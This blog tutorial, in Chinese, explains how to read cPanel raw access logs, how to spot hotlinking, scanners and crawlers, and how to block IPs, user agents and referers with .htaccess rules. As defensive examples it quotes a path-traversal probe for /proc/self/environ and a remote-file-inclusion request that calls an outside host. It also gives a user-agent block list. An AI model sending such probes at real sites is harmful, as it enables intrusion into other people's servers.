相信大家都在自己的網(wǎng)站上安裝了網(wǎng)站統(tǒng)計(jì)的代碼，如Google analytics、量子統(tǒng)計(jì)、百度統(tǒng)計(jì)、cnzz、51.la等，這些工具可以統(tǒng)計(jì)網(wǎng)站的流量，也就是網(wǎng)站上訪客可看到的所有頁(yè)面的訪問(wèn)量，但是這些統(tǒng)計(jì)工具都不能統(tǒng)計(jì)你主機(jī)上資源的原始訪問(wèn)信息，例如某個(gè)圖片被誰(shuí)下載了。
絕大多數(shù)收費(fèi)主機(jī)都提供原始訪問(wèn)日志（Raw Access Log），網(wǎng)站服務(wù)器會(huì)把每一個(gè)訪客來(lái)訪時(shí)的一些信息自動(dòng)記錄下來(lái)，保存在原始訪問(wèn)日志文件中，如果你的主機(jī)不提供日志功能，建議你到期后還是換主機(jī)吧。日志中記錄了網(wǎng)站上所有資源的訪問(wèn)信息，包括圖片、CSS、JS、FLASH、HTML、MP3等所有網(wǎng)頁(yè)打開過(guò)程載入的資源，同時(shí)記錄了這些資源都被誰(shuí)訪問(wèn)了、用什么來(lái)訪問(wèn)以及訪問(wèn)的結(jié)果是什么等等，可以說(shuō)原始訪問(wèn)日志記錄了主機(jī)的所有資源使用情況。
如果你的網(wǎng)站遭到了攻擊、非法盜鏈和不良請(qǐng)求等，通過(guò)分析原始訪問(wèn)日志能大概分析出端倪來(lái)，例如：今年年初我往我的主機(jī)上傳了一個(gè)mp3，不幸被百度mp3收錄，引來(lái)大量的盜鏈，導(dǎo)致我的主機(jī)流量猛增，雖然這對(duì)我并無(wú)大礙，但是心里不爽！通過(guò)分析日志，我找出了問(wèn)題根源，刪除了那個(gè)mp3，主機(jī)流量也降下來(lái)了。
不同主機(jī)使用的面板不太一樣，所以查看原始訪問(wèn)日志的方法也不太一樣，但是日志記錄的格式都是一樣的，具體查看原始訪問(wèn)日志的方法請(qǐng)咨詢相關(guān)主機(jī)客服。下面是cPanel面板，通過(guò)點(diǎn)擊紅色方框中的按鈕，接著選擇你的網(wǎng)站域名，即可下載原始訪問(wèn)日志，使用文本編輯器打開即可查看：
原始訪問(wèn)日志每一行就是類似以下的記錄：
64.10.90.61 - - [04/Mar/2001:11:47:26 -0600] "GET /intro.htm HTTP/1.1" 200 13947 "http://www.yourdomain.com/" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)"
下面我們來(lái)說(shuō)說(shuō)這一行記錄的意思：
64.10.90.61
這是訪客（也可能是機(jī)器人）的IP
[04/Mar/2001:11:47:26 -0600]
這是訪客訪問(wèn)該資源的時(shí)間（Date），-0600是該時(shí)間所對(duì)應(yīng)的時(shí)區(qū)，即與格林威治時(shí)間相差-6個(gè)小時(shí)
GET /intro.htm HTTP/1.1
請(qǐng)求信息，包括請(qǐng)求方式、所請(qǐng)求的資源以及所使用的協(xié)議，該語(yǔ)句的意思就是以GET方式，按照HTTP/1.1協(xié)議獲取網(wǎng)頁(yè)/intro.htm，intro.htm為網(wǎng)站上的某個(gè)網(wǎng)頁(yè)。
200 13947
200為該請(qǐng)求返回的狀態(tài)碼（Http Code），不同的狀態(tài)碼代表不同的意思，具體請(qǐng)閱讀 HTTP 狀態(tài)代碼；13947為此次請(qǐng)求所耗費(fèi)的流量（Size in Bytes），單位為byte
http://www.yourdomain.com/
為訪客來(lái)源（Referer）。這一段是告訴我們?cè)L客是從哪里來(lái)到這一個(gè)網(wǎng)頁(yè)。有可能是你的網(wǎng)站其他頁(yè)，有可能是來(lái)自搜索引擎的搜索頁(yè)等。通過(guò)這條來(lái)源信息，你可以揪出盜鏈者的網(wǎng)頁(yè)。
Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
為訪客所使用的瀏覽器類型（Agent），這里記錄了用戶使用的操作系統(tǒng)、瀏覽器型號(hào)等
看了以上說(shuō)明，可能你也大概知道每一行記錄到底記錄了一些什么東西，可以開始獨(dú)立分析你的網(wǎng)站原始訪問(wèn)日志了，但是叫你直接看這些雜亂的日志，相信你會(huì)很抓狂，不愿意干。cPanle面板中的“Latest Visitors”提供一種格式化后日志查看方式，看起來(lái)比較舒服一些：
上圖中Host： 218.17.120.205 為訪客的IP，可看出該訪客在當(dāng)前時(shí)間段發(fā)起了三個(gè)請(qǐng)求，對(duì)應(yīng)原始訪問(wèn)日志中的3行記錄，紅色標(biāo)出的部分為訪客請(qǐng)求的資源（也就是訪客流量的網(wǎng)頁(yè)等），其他部分參見以上說(shuō)明。“Latest Visitors”中只能顯示最近300個(gè)IP的訪問(wèn)信息，這里我寫了一個(gè)原始訪問(wèn)日志的格式化工具，可將原始訪問(wèn)日志格式化成上圖所示格式，方便閱讀，工具地址：http://ludou.co.tv/logreader/
以上介紹了如何查看原始訪問(wèn)日志，現(xiàn)在我們來(lái)談?wù)勅绾畏治鋈罩局械膬?nèi)容：
1、注意那些被頻繁訪問(wèn)的資源
如果在日志中，你發(fā)現(xiàn)某個(gè)資源（網(wǎng)頁(yè)、圖片和mp3等）被人頻繁訪問(wèn)，那你應(yīng)該注意該資源被用于何處了！如果這些請(qǐng)求的來(lái)源（Referer）不是你的網(wǎng)站或者為空，且狀態(tài)碼（Http Code）為200，說(shuō)明你的這些資源很可能被人盜鏈了，通過(guò) Referer 你可以查出盜鏈者的網(wǎng)址，這可能就是你的網(wǎng)站流量暴增的原因，你應(yīng)該做好防盜鏈了。請(qǐng)看下圖，我網(wǎng)站上的japan.mp3這個(gè)文件就被人頻繁的訪問(wèn)了，下圖還只是日志的一部分，這人極其險(xiǎn)惡，由于我早已將該文件刪除，它遲遲要不到j(luò)apan.mp3，在短短一個(gè)小時(shí)內(nèi)對(duì)japan.mp3發(fā)起了不下百次的請(qǐng)求，見我設(shè)置了防盜鏈就偽造來(lái)源Referer和Agent，還不斷地更換IP，很可惜它做得都是無(wú)用功，根本沒(méi)有這個(gè)文件，請(qǐng)求的狀態(tài)碼Http Code都是403或者404
2、注意那些你網(wǎng)站上不存在資源的請(qǐng)求
例如下圖的4個(gè)請(qǐng)求信息。/admin/editor/db/kmoxewebeditor.mdb等幾個(gè)資源都是不是本站的資源，所以Http Code不是403就是404，但從名稱分析，可能是保存數(shù)據(jù)庫(kù)信息的文件，如果這些信息讓別人拿走，那么攻擊你的網(wǎng)站就輕松多了。發(fā)起這些請(qǐng)求的目的無(wú)非就是掃描你的網(wǎng)站漏洞，通過(guò)漫無(wú)目的地掃描下載這些已知的漏洞文件，很可能會(huì)發(fā)現(xiàn)你的網(wǎng)站某個(gè)漏洞哦！通過(guò)觀察，可以發(fā)現(xiàn)，這些請(qǐng)求所使用的Agent差不多都是Mozilla/4.0、Mozilla/5.0或者libwww-perl/等等非常規(guī)的瀏覽器類型，以上我提供的日志格式化工具已經(jīng)集成了對(duì)這些請(qǐng)求的警報(bào)功能。我們可以通過(guò)禁止這些Agent的訪問(wèn)，來(lái)達(dá)到防止被掃描的目的，具體方法下面再介紹。
常見的掃描式攻擊還包括傳遞惡意參數(shù)等：
//header.php?repertoire=../../../../../../../../../../../../../../../proc/self/environ%00
/?_SERVERDOCUMENT_ROOT=http://wdwinfo.ca/logs/.log?
3、觀察搜索引擎蜘蛛的來(lái)訪情況
通過(guò)觀察日志中的信息，你可以看出你的網(wǎng)站被蜘蛛訪問(wèn)的頻率，進(jìn)而可以看出你的網(wǎng)站是否被搜索引擎青睞，這些都是SEO所關(guān)心的問(wèn)題吧。日志格式化工具已經(jīng)集成了對(duì)搜索引擎蜘蛛的提示功能。常見搜索引擎的蜘蛛所使用的Agent列表如下：
Google蜘蛛
Mozilla/5.0 （compatible; Googlebot/2.1; +http://www.google.com/bot.html）
Baidu蜘蛛
Baiduspider+（+http://www.baidu.com/search/spider.htm）
Yahoo！蜘蛛
Mozilla/5.0 （compatible; Yahoo！ Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp）
Yahoo！中國(guó)蜘蛛
Mozilla/5.0 （compatible; Yahoo！ Slurp China; http://misc.yahoo.com.cn/help.html）
微軟Bing蜘蛛
msnbot/2.0b （+http://search.msn.com/msnbot.htm）
Google Adsense蜘蛛
Mediapartners-Google
有道蜘蛛
Mozilla/5.0 （compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; ）
Soso搜搜博客蜘蛛
Sosoblogspider+（+http://help.soso.com/soso-blog-spider.htm）
Sogou搜狗蜘蛛
Sogou web spider/4.0（+http://www.sogou.com/docs/help/webmasters.htm#07）
Twiceler爬蟲程序
Mozilla/5.0 （Twiceler-0.9 http://www.cuil.com/twiceler/robot.html）’
Google圖片搜索蜘蛛
Googlebot-Image/1.0
俄羅斯Yandex搜索引擎蜘蛛
Yandex/1.01.001 （compatible; Win16; I）
Alexa蜘蛛
ia_archiver （+http://www.alexa.com/site/help/webmasters; crawler@alexa.com）
Feedsky蜘蛛
Mozilla 5.0 （compatible; Feedsky crawler /1.0; http://www.feedsky.com）
韓國(guó)Yeti蜘蛛
Yeti/1.0 （NHN Corp.; http://help.naver.com/robots/）
4、觀察訪客行為
通過(guò)查看格式化后的日志，可以查看跟蹤某個(gè)IP在某個(gè)時(shí)間段的一系列訪問(wèn)行為，單個(gè)IP的訪問(wèn)記錄越多，說(shuō)明你的網(wǎng)站PV高，用戶粘性好；如果單個(gè)IP的訪問(wèn)記錄希希，你應(yīng)該考慮如何將你的網(wǎng)站內(nèi)容做得更加吸引人了。通過(guò)分析訪客的行為，可以為你的網(wǎng)站建設(shè)提供有力的參考，哪些內(nèi)容好，哪些內(nèi)容不好，確定網(wǎng)站的發(fā)展方向；通過(guò)分析訪客的行為，看看他們都干了些什么事，可以揣測(cè)訪客的用意，及時(shí)揪出惡意用戶。
以上只是我個(gè)人總結(jié)出來(lái)的一些小技巧，可以簡(jiǎn)單的分析你的日志內(nèi)容，畢竟我個(gè)人見識(shí)還是比較短淺，還不能全面地進(jìn)行日志分析。在cPanel主機(jī)控制面板中，還提供了awstats和webalizer兩個(gè)日志分析工具，它們都是以原始訪問(wèn)日志為基礎(chǔ)進(jìn)行分析，功能強(qiáng)大且豐富，你可以一試，不懂的可以咨詢主機(jī)客服。
應(yīng)敵之策
上面說(shuō)了如何分析你的日志，下面我們來(lái)講講如何御敵于前千里之外。我們這里以Linux主機(jī)的.htaccess編寫為例來(lái)講解如何防范惡意請(qǐng)求。
1、封殺某個(gè)IP
如果你不想讓某個(gè)IP來(lái)訪問(wèn)你的網(wǎng)站，可以將其封殺。封殺防范有二：其一，在cPanel面板中有個(gè)Security – IP Deny Manager，點(diǎn)擊進(jìn)去填上要封殺的IP即可；其二，在.htaccess中加入以下語(yǔ)句，即可封殺這兩個(gè)IP 123.165.54.14、123.165.54.15，以及123.165.55這個(gè)IP段，多個(gè)同理：
deny from 123.165.54.14
deny from 123.165.54.15
deny from 123.165.55
2、封殺某個(gè)瀏覽器類型（Agent）
通常情況下，如果是使用機(jī)器人來(lái)掃描或者惡意下載你的網(wǎng)站資源，它們使用的Agent差不多都是一個(gè)類型，例如我上面所說(shuō)的Mozilla/4.0、Mozilla/5.0或者libwww-perl/等。你可以封殺某個(gè)Agent，來(lái)達(dá)到防范攻擊的目的。在.htaccess中添加以下規(guī)則：
SetEnvIfNoCase User-Agent ".*Firefox/3\.6\.3.*" bad_agent
Limit GET POST>
Order Allow,Deny
Allow from all
Deny from env=bad_agent
/Limit>
以上規(guī)則封殺了Agent中含有Firefox/3.6.3的來(lái)源，也就是包括以下例子的Agent將無(wú)法訪問(wèn)你的網(wǎng)站：
Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3
以上只是個(gè)例子，切不可用于你的網(wǎng)站，否則使用Firefox 3.6.3的用戶就不可以訪問(wèn)你的網(wǎng)站了，訪問(wèn)結(jié)果Http Code都是403，他們看到都是403頁(yè)面，也就是禁止訪問(wèn)頁(yè)面。這里讓我來(lái)教你如何編寫封殺的規(guī)則，以上語(yǔ)句SetEnvIfNoCase User-Agent ".*Firefox/3\.6\.3.*" bad_agent指定了要封殺的規(guī)則，核心語(yǔ)句 ".*Firefox/3\.6\.3.*" 用于匹配含有 Firefox/3.6.3 的來(lái)源，寫法見正則表達(dá)式的寫法，這里給出幾個(gè)正則例子，你可以套用：
通過(guò)上表，你差不多也知道了個(gè)大概，在正則式子中，所有點(diǎn) . 一概寫成 \. ； ^用于匹配開頭， $用于匹配結(jié)尾；.* 用于匹配任意長(zhǎng)度的字符（包括長(zhǎng)度為0的），下面是一個(gè)完整例子，你可以套用，相信你也可以寫出自己的規(guī)則：
## Block Bad Bots by user-Agent
SetEnvIfNoCase User-Agent "^libwww-perl" bad_agent
SetEnvIfNoCase User-Agent "^Mozilla/4\.0$" bad_agent
SetEnvIfNoCase User-Agent "^Mozilla/5\.0$" bad_agent
SetEnvIfNoCase User-Agent "^$" bad_bot
Limit GET POST>
Order Allow,Deny
Allow from all
Deny from env=bad_bot
/Limit>
3、封殺某個(gè)來(lái)源（Referer）
如果某個(gè)網(wǎng)站頻繁地對(duì)你網(wǎng)站進(jìn)行盜鏈，且不聽勸，那你可以通過(guò)禁止它的Referer，來(lái)達(dá)到防盜鏈目的，下面舉個(gè)例子來(lái)禁止http://www.google.com這個(gè)網(wǎng)站對(duì)你網(wǎng)站的盜鏈，正則的編寫跟上面的無(wú)異，在.htaccess中添加以下規(guī)則：
SetEnvIf Referer "^http://www\.google\.com" bad_referer
filesmatch "\.(jpg|gif|png|css|js|bmp|mp3|wma|swf)">
Order Allow,Deny
Allow from all
Deny from env=bad_referer
/filesmatch>
4、防盜鏈
通過(guò)對(duì)來(lái)源（Referer）的判斷，使用以下代碼可以達(dá)到簡(jiǎn)單的防盜鏈。以下列出的網(wǎng)址，允許訪問(wèn)你網(wǎng)站上后綴名為jpg|gif|png|css|js|bmp|mp3|wma|swf的文件，其余網(wǎng)站全部禁止訪問(wèn)這些文件，正則的寫法與上面說(shuō)的相同，你可以將其中的域名稍作更改，然后應(yīng)用于你的網(wǎng)站，在.htaccess中添加以下規(guī)則：
SetEnvIf Referer "^http://www\.ludou\.org/" local_referer
SetEnvIf Referer "^http://cache\.baidu\.com/" local_referer
# 將以下語(yǔ)句中的 # 去除，即可允許Referer為空的請(qǐng)求，一般設(shè)置允許為好
# SetEnvIf Referer "^$" local_referer
filesmatch "\.(jpg|gif|png|css|js|bmp|mp3|wma|swf)">
Order Deny,Allow
Deny from all
Allow from env=local_referer
/filesmatch>
5、文件重命名
即使你網(wǎng)站上的資源被人盜鏈了，通過(guò)文件重命名，同樣可以達(dá)到防盜鏈的目的，畢竟盜鏈者不知道你改了文件名，它也不會(huì)整天監(jiān)視你的文件。
總結(jié)
不管怎么說(shuō)，有防的就有攻，攻防永遠(yuǎn)都是一對(duì)冤家，這樣的拉鋸永遠(yuǎn)都不會(huì)終止。以上介紹的方法只能達(dá)到簡(jiǎn)單防范的目的，如果有人有意要攻擊你的網(wǎng)站，那點(diǎn)東西起不了太大作用，我們只能根據(jù)敵手出的招，見招拆招才能免于不測(cè)，這樣的能力，還需各位站長(zhǎng)慢慢學(xué)習(xí)積累，畢竟做個(gè)網(wǎng)站也不是那么簡(jiǎn)單的。
原文地址：http://www.ludou.org/learning-how-to-analyse-raw-access-log.html
